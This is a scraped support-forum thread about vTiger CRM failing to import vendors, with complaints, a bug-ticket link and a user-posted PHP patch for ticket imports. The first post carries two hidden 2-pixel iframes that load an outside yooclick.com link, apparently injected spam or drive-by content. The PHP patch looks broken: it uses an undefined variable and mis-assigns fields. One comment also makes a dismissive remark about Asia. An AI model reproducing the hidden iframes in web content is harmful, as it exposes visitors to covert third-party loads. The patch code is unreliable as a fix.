Can not import VENDORS in vTiger...why?

hi everybody...

Strange, I can't import vendors... how comes?

Thanks for your help <!-- s;-) --><img src="{SMILIES_PATH}/icon_wink.gif" alt=";-)" title="Wink" /><!-- s;-) --> <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;
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  • 12 Comments sorted by Votes Date Added
  • i have raised the same question before, but for some reason the vtiger team doesn't feel it as an important one. mine is a very small one year old manufacturing company, but i have more than 60+ vendors. imagining for a big company, the size will be huge and definitely we need this functionality.
  • now i know why: the job isn't finished.

    in the folder /modules/import/ you'll notice that the file vendor.php is missing as well as quote.php...

    i liked vtiger, and i had consider to install it at some of our customers, but, it s got to be finished first.

    you put in front of us a candy... with "surprises". where is the spirit of open source ? why don't you inform of such deficiency in your documentation? are these files "on sale", then say it !!! dont be ashamed to ask for money, it is totally legal and acceptable. each work desserves a reward, but not this way people of bhudda, not this way. if you simply forgot (what i doubt), then i would be scared to install such "thing", it would mean that you are far from being the pros you want us to believe.

    i am not the first to ask about this, and always the same answer: silence, guess why <!-- s;-) --><img src="{smilies_path}/icon_wink.gif" alt=";-)" title="wink" /><!-- s;-) -->

    you people at vtiger seemed quite pro, but this is funny... what is the intention behind? you "give away" for free the office plugins, but you don't finish the work... <!-- s:lol: --><img src="{smilies_path}/icon_lol.gif" alt=":lol:" title="laughing" /><!-- s:lol: --> you make money thanks to sugar and your developments plus the contibutions of hundreds of people, and you "forget" those two files?...

    same story with "mandatory fields". why not to keep it as sugar does: that is any fied can be set mandatory in the admin panel. why make things more complicated than they are?

    i expected a bit more of profesional honesty, if you want to make money it is not only acceptable but i support this. i won't mind to pay for some extra features, but not this way... and your silence says it all, not even one word about this. disappointing.

    pity... it looked so nice, but well, seems in asia it is a routine, isnt it?

    i 'd rather stick to the two products i am using at present: sugar and tiny erp (together with joomla/mambo, from whom you could learn what open source means) the "real thing".

    good luck people of vtiger, you ll need it once people will understand what you are doing... <!-- s;-) --><img src="{smilies_path}/icon_wink.gif" alt=";-)" title="wink" /><!-- s;-) -->, you are not really fair.
  • same problem on 5.0.3 & 5.0.4.
    i have more than 100 vendors to import.

    anyone can help me for an other solution ?

    thank you
  • hi,

    i find that last post a little harsh, but that's ok i have sent a lot of those also <!-- s:wink: --><img src="{smilies_path}/icon_wink.gif" alt=":wink:" title="wink" /><!-- s:wink: -->

    i thought open source was about:
    "oh that is missing, they haven't gotten around to it yet so i can do it myself and give it back"

    in any case i am willing to prepare the vendor import script for a fee. if you need it send me a message.

    note: i am not part of vtiger so i can't speak in their name, this is my personal opinion.

    regards, joe
    tsolucio
  • hi,

    i have reported this issue on trac and we shall fix it soon. refer to the following url, to track the ticket:

    <!-- m --><a class="postlink" href="http://trac.vtiger.com/cgi-bin/trac.cgi/ticket/4382">http://trac.vtiger.com/cgi-bin/trac.cgi/ticket/4382</a><!-- m -->
  • what about the quotes? for this ticket?
  • hi all,

    export/import facility has been supported for vendors and trouble tickets also in 5.0.4.
  • there was a major bug in the ticket portion of the import tool. the parent_id for an imported ticket was always getting set to 0.

    file: /modules/import/importticket.php
    function: empty_relatedto() //name says it all

    fix:

    [code]function empty_relatedto()
    {
    $parent_id = $this->column_fields["parent_id"];
    if($parent_id == ''){
    $parent_id = 0;
    }
    else{//go get the account
    $query = "select vtiger_crmentity.deleted, vtiger_account.* from vtiger_account, vtiger_crmentity where accountname=? and vtiger_crmentity.crmid =vtiger_account.accountid and vtiger_crmentity.deleted=0";
    $result = $adb->pquery($query, array($acc_name));

    $row = $this->db->fetchbyassoc($result, -1, false);

    $adb->println("fetched account");
    $adb->println($row);

    // we found a row with that id
    if (isset($row) && $row != -1)
    {
    $parent_id = $row;
    }

    }
    $this->column_fields = $parent_id;
    }
    [code][/code]
  • oops.....

    change: $result = $adb->pquery($query, array($acc_name));

    to:

    $result = $adb->pquery($query, array($parent_id));
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